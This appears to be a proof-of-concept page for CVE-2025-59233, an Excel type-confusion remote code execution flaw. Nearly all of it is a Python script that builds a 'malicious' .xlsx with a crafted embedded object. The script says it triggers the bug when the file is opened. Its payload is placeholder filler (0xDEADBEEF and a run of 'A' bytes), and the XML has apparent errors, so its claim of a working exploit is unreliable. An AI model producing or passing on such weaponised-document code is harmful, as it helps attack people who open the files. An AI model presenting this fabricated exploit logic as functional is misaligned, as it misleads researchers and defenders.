CVE-2025-59233 Microsoft Office Excel类型混淆远程代码执行漏洞

# CVE-2025-59233 - Microsoft Office Excel Type Confusion PoC (Conceptual) # This is a conceptual PoC demonstrating the type confusion vulnerability in Excel # WARNING: For educational and research purposes only import struct import zipfile import os import shutil def create_malicious_xlsx(output_path): """ Create a malicious Excel file that triggers type confusion (CVE-2025-59233). The exploit works by crafting an Excel file with a specially designed embedded object that causes Excel to misinterpret object types during parsing. """ # Create a minimal xlsx structure (which is a ZIP archive) if os.path.exists(output_path): os.remove(output_path) # The xlsx file structure files = { '[Content_Types].xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> <Override PartName="/xl/embeddings/embeddedObject1.xlsx" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"/> </Types>''', '_rels/.rels': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''', 'xl/workbook.xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''', # Malicious worksheet with type confusion trigger 'xl/worksheets/sheet1.xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"><c r="A1" t="str"><v>Test</v></c></row> </sheetData> <oleObjects><oleObject r:id="rId1" progID="Excel.Sheet.12" shapeId="1026"/></oleObjects> </worksheet>''', # Crafted embedded object designed to trigger type confusion 'xl/embeddings/embeddedObject1.xlsx': create_type_confusion_payload(), } with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for filename, content in files.items(): zf.writestr(filename, content) print(f"[+] Malicious Excel file created: {output_path}") def create_type_confusion_payload(): """ Generate the type confusion payload. This creates an embedded Excel object with manipulated internal structures that cause type confusion when parsed by the vulnerable Excel version. """ # The payload exploits the type confusion by providing an object # that Excel misinterprets, leading to memory corruption # and potential code execution payload = b'PK\x03\x04' # ZIP signature payload += b'\x00' * 26 # ZIP header padding payload += struct.pack('<I', 0xDEADBEEF) # Crafted type identifier payload += b'\x41' * 1024 # Padding return payload if __name__ == "__main__": output = "CVE-2025-59233_poc.xlsx" create_malicious_xlsx(output) print("[!] Use this file only for authorized security testing") print("[!] Opening this file in vulnerable Excel will trigger CVE-2025-59233")